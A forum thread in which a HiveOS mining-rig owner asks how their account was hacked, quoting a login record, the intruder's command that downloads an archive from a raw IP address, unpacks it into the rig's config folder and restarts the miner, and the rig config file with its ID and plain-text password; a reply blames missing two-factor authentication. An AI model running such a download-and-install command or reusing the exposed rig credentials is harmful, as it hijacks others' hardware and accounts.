How did hacker hack my HiveOS account?

Hello.
I was just hacked. I don’t understand how it is possible for someone to guess the password or at all know my account id/Username.

Anyone here that can clear this out for me? I appreciate all answers.
Here is log from hnotifications
Login - 94.234.41.95 - 1:40, July 18, 2021

Hacker used this command before I interrupted him/her:
wget http://144.76.186.179:19607/ETH.tar.gz && tar -xvf ETH.tar.gz -C /hive-config && miner start

Here is the content of this config file:
### MINERS HIVE CONFIG ################################

#URL where hive server is
HIVE_HOST_URL=“http://api.hiveos.farm

#Id of the rig, numeric value from admin panel
RIG_ID=2226389

#Rig password as in admin panel
RIG_PASSWD=“p7bRgf40”

#Rig hostname
WORKER_NAME=“e”

#Id of the farm
FARM_ID=1111848

#Selected miners
MINER=nanominer
MINER2=

#Rig timezone
TIMEZONE=“US/Pacific”

#Watchdog
WD_ENABLED=0

#Hive Shell server host
HSSH_SRV=“shell.hiveos.farm”

#Options

I’m guessing you didn’t use 2-factor.

That should seriously be a requirement in 2021 for every web service.

So many people on the coinbase and binance subreddit claimed they were hacked or their crypto was stolen and it’s all the exchange’s fault. 99% user error.

2-factor, simplest thing ever to set up. And never use SMS as 2-factor. It’s literally the most simple OPSEC.

Point of crypto is that you’re fully in charge of your money. Do the research or risk getting hacked and scammed. No sympathy for those who don’t DYOR.